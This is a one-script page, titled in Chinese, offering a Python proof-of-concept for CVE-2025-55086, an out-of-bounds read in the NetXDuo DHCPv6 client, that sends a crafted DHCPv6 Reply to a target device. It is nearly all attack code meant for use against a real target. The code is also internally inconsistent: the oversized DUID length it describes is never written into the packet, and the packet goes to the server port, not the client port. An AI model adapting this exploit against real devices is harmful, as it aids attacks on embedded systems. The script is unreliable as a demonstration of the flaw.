CVE-2025-55086 NetXDuo DHCPv6客户端越界内存读取漏洞

# CVE-2025-55086 PoC - NetXDuo DHCPv6 Client Out-of-Bounds Read # This PoC demonstrates the vulnerability by crafting a malicious DHCPv6 # Server Reply packet with an abnormally large DUID index value to trigger # an out-of-bounds memory read in the NetXDuo DHCPv6 client. import socket import struct def build_dhcpv6_reply_with_oversized_duid_index(target_ip="::1", target_port=547): """ Build a crafted DHCPv6 Reply message with an oversized DUID index to trigger CVE-2025-55086 in vulnerable NetXDuo DHCPv6 clients. """ # DHCPv6 message type: Reply (7) msg_type = 7 # Transaction ID (3 bytes) - matches the client's request transaction_id = b'\x00\x00\x01' # DHCPv6 header: msg_type (1 byte) + transaction_id (3 bytes) header = struct.pack('!B', msg_type) + transaction_id # Server Identifier option (option code 2) # Craft an abnormally large DUID index to trigger OOB read # Option 2: Server Identifier # The DUID inside contains a manipulated length/index field # DUID-LL (Link-Layer address based DUID, type 3) # DUID type: 3 (DUID-LL) # Hardware type: 1 (Ethernet) # The key is to set an oversized DUID length that exceeds the actual data duid_type = 3 hardware_type = 1 # Craft a DUID with an abnormally large declared length # This causes the index to point beyond the buffer boundary fake_duid_length = 0xFFFF # Oversized length to trigger OOB read link_layer_address = b'\x00' * 6 # Minimal actual address data duid_data = struct.pack('!HH', duid_type, hardware_type) duid_data += link_layer_address # Server Identifier option: code(2) + length(2) + DUID data server_id_option = struct.pack('!HH', 2, len(duid_data)) + duid_data # Combine all parts dhcpv6_packet = header + server_id_option return dhcpv6_packet def send_malicious_packet(target_ip="::1", target_port=547): """Send the crafted DHCPv6 reply to trigger the vulnerability.""" packet = build_dhcpv6_reply_with_oversized_duid_index(target_ip, target_port) sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_HOPS, 255) try: sock.sendto(packet, (target_ip, target_port)) print(f"[*] Malicious DHCPv6 reply sent to {target_ip}:{target_port}") print(f"[*] Packet length: {len(packet)} bytes") print(f"[*] Packet hex: {packet.hex()}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": # Target the vulnerable NetXDuo DHCPv6 client # Replace with actual target IP target = "fe80::1" # Link-local IPv6 address of target device send_malicious_packet(target_ip=target, target_port=547)